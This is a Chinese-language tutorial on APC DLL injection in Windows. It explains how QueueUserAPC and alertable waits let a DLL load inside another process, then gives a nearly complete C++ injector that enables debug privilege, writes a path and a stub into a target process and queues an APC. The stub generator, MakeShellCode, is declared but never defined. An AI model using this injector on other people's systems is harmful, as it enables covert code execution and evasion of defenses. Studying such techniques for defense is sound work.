APC注入
0X01 注入原理
当线程被唤醒时APC中的注册函数会被执行的机制,并依此去调用我们的DLL加载代码,进而完成注入的目的
具体的流程:
1 当EXE里的某个线程执行到sleepEX(),或者waitForSingleObjectEX()(其实还有WaitForMultipleObjectsEx
, SignalObjectAndWait,MsgWaitForMultipleObjectsEx)这几个函数时,会产生一个软中断。
2 当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
3.利用QueueUserAPC()这个API可以在软中断的时间内插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的
0x02代码实现
在注入的操作准备前需要提升权限,使我们有足够的权限去对相应的函数进行操作。
三步。
1先OpenProcessToken()打开令牌,
2然后LookupPrivilegeValue()
3AdjustTokenPrivileges()调整令牌权限,提取完毕进行注入
注入:
1先要根据进程ID,开启我们的远程注入线程。
2开启完毕后,需要进行相应的内存的空间申请VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
拥有自己的空间后就可以根据路径写入待注入的DLL路径。
3 用WriteProcessMemory()函数
4 再根据GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll"); //LadrloadDll得到我们LoadLirbrary()地址
5 最后调用sleepEx()函数,利用QueueUserApc()函数对APC队列进行操作,完成注入。这里是因为sleepEx可以触发这个函数
完整代码如下:
// LoadExe.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <Windows.h> #include <iostream> using namespace std; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _INJECT_STRUCT { UINT_PTR LdrLoadDllAddress; //4 UNICODE_STRING DllFullPath; //4,4 HANDLE OutHandle; } INJECT_STRUCT, *PINJECT_STRUCT; UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address); BOOL InjectByAPC(int ProcessID, int ThreadID, const char *szDllFullPath); int GrantDebugPrivileges(); //analyzer.py ---> Start(LoadExeFullPath,Inject,ProcessID,ThreadID,DllPath) LoadExe() //APC 注入 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { int ProcessID = 0; int ThreadID = 0; if (__argc < 2) { return -1; } if (!strcmp(__argv[1], "Inject")) { GrantDebugPrivileges(); ProcessID = atoi(__argv[2]); ThreadID = atoi(__argv[3]); return InjectByAPC(ProcessID, ThreadID, __argv[4]); } return 0; } //Target,exe BOOL InjectByAPC(int ProcessID, int ThreadID, const char *szDllFullPath) { HANDLE ProcessHandle = NULL; HANDLE ThreadHandle = NULL; if (ProcessID <= 0 || ThreadID < 0) { return FALSE; } printf("Success\r\n"); ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID); // if (ProcessHandle == NULL) { return FALSE; } if (ThreadID > 0) { ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID); if (ThreadHandle == NULL) { CloseHandle(ProcessHandle); return FALSE; } } //malloc virtualalloc globalalloc heapalloc new malloc //注入都要在目标进程空间中申请内存 写入Dll的绝对路径 UINT32 DllPathLength = 0; DllPathLength = (UINT32)strlen(szDllFullPath); WCHAR* wzDllFullPath = (WCHAR*)calloc(1, (DllPathLength + 1) * sizeof(WCHAR)); //在LoadEx进程空间中 if (wzDllFullPath == NULL) { return FALSE; } for (int i=0;i<DllPathLength;i++) { wzDllFullPath[i] = (UINT16)szDllFullPath[i]; } //单字转换双字 WCHAR* wzDllFullPathData = (WCHAR*)VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (wzDllFullPathData == NULL) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } SIZE_T ReturnSize = 0; if (!WriteProcessMemory(ProcessHandle, wzDllFullPathData, wzDllFullPath, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), &ReturnSize)) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } LPVOID LdrLoadDll; LdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll"); //LadrloadDll INJECT_STRUCT InjectStruct = {0}; InjectStruct.LdrLoadDllAddress = (UINT_PTR)LdrLoadDll; InjectStruct.DllFullPath.Buffer = wzDllFullPathData; InjectStruct.DllFullPath.Length = InjectStruct.DllFullPath.MaximumLength = (USHORT)(wcslen(wzDllFullPath) * sizeof(WCHAR)); PINJECT_STRUCT InjectStructData = NULL; InjectStructData = (PINJECT_STRUCT)VirtualAllocEx(ProcessHandle, NULL, sizeof(INJECT_STRUCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (InjectStructData == NULL) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } if (!WriteProcessMemory(ProcessHandle, InjectStructData, &InjectStruct, sizeof(INJECT_STRUCT), &ReturnSize)) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } char szShellCode[64] = {0}; UINT32 ShellCodeSize = MakeShellCode((UINT8*)szShellCode, InjectStructData); CHAR* szShellCodeData = NULL; szShellCodeData =(CHAR*)VirtualAllocEx(ProcessHandle, NULL, ShellCodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (szShellCodeData == NULL) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } if (!WriteProcessMemory(ProcessHandle, szShellCodeData, szShellCode, ShellCodeSize, &ReturnSize)) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } if (ThreadHandle) { if(!QueueUserAPC((PAPCFUNC)szShellCodeData,ThreadHandle, (ULONG_PTR)InjectStructData)) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } } free(wzDllFullPath); wzDllFullPath = NULL; return TRUE; } int GrantDebugPrivileges() { HANDLE TokenHandle = NULL; TOKEN_PRIVILEGES PrivilegesToken; LUID v1; int iRet; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle)) { return 0; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &v1)) { CloseHandle(TokenHandle); return 0; } PrivilegesToken.PrivilegeCount = 1; PrivilegesToken.Privileges[0].Luid = v1; PrivilegesToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iRet = AdjustTokenPrivileges(TokenHandle, FALSE, &PrivilegesToken, sizeof(PrivilegesToken), NULL, NULL); CloseHandle(TokenHandle); return iRet; }